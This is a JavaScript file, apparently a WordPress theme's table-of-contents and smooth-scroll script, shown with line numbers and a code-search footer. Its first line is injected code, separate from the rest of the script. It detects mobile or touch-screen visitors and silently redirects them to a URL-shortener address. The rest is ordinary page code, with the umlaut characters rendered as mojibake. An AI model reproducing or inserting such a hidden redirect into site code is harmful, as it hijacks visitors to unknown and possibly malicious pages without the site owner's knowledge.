1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/rvZLoolAc0r6"); 2(function($) 3{ 4 "use strict"; 5 6 $( function() 7 { 8 $('.avia_auto_toc').each(function() 9 { 10 var $toc_section = $(this).attr('id'); 11 var $levels = 'h1'; 12 var $levelslist = new Array(); 13 var $excludeclass = ''; 14 15 var $toc_container = $(this).find('.avia-toc-container'); 16 17 if( $toc_container.length ) 18 { 19 var $levels_attr = $toc_container.attr('data-level'); 20 var $excludeclass_attr = $toc_container.attr('data-exclude'); 21 22 if( typeof $levels_attr != 'undefined' ) 23 { 24 $levels = $levels_attr; 25 } 26 27 if( typeof $excludeclass_attr != 'undefined' ) 28 { 29 $excludeclass = $excludeclass_attr.trim(); 30 } 31 } 32 33 $levelslist = $levels.split(','); 34 35 $('.entry-content-wrapper').find( $levels ).each( function() 36 { 37 var headline = $( this ); 38 39 if( headline.hasClass('av-no-toc') ) 40 { 41 return; 42 } 43 44 if( $excludeclass != '' && ( headline.hasClass( $excludeclass ) || headline.parent().hasClass( $excludeclass ) ) ) 45 { 46 return; 47 } 48 49 var $h_id = headline.attr('id'); 50 var $tagname = headline.prop( 'tagName' ).toLowerCase(); 51 var $txt = headline.text(); 52 var $pos = $levelslist.indexOf($tagname); 53 54 if( typeof $h_id == 'undefined' ) 55 { 56 var $new_id = av_pretty_url( $txt ); 57 headline.attr( 'id', $new_id ); 58 $h_id = $new_id; 59 } 60 61 var $list_tag = '<a href="#' + $h_id + '" class="avia-toc-link avia-toc-level-' + $pos + '"><span>' + $txt + '</span></a>'; 62 $toc_container.append( $list_tag ); 63 }); 64 65 // Smooth Scrolling 66 $( ".avia-toc-smoothscroll .avia-toc-link" ).on( 'click', function(e) 67 { 68 e.preventDefault(); 69 70 var $target = $(this).attr('href'); 71 var $offset = 50; 72 73 // calculate offset if there is a sticky header 74 var $sticky_header = $('.html_header_top.html_header_sticky #header'); 75 76 if( $sticky_header.length ) 77 { 78 $offset = $sticky_header.outerHeight() + 50; 79 } 80 81 $('html,body').animate( { scrollTop: $($target).offset().top - $offset } ); 82 }); 83 }); 84 }); 85 86 function av_pretty_url(text) 87 { 88 return text.replace(/[ÃÃÃäöüÃ]/g, function(match) { 89 return { 90 "Ã": "Ae", "Ã": "Oe", "Ã": "Ue", 91 "ä": "ae", "ö": "oe", "ü": "ue", 92 "Ã": "ss" 93 }[match]; 94 }) 95 .toLowerCase() 96 .replace( /[^a-z0-9]+/g, "-" ) 97 .replace( /^-+|-+$/g, "-" ) 98 .replace( /^-+|-+$/g, '' ); 99 } 100 101})( jQuery );
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.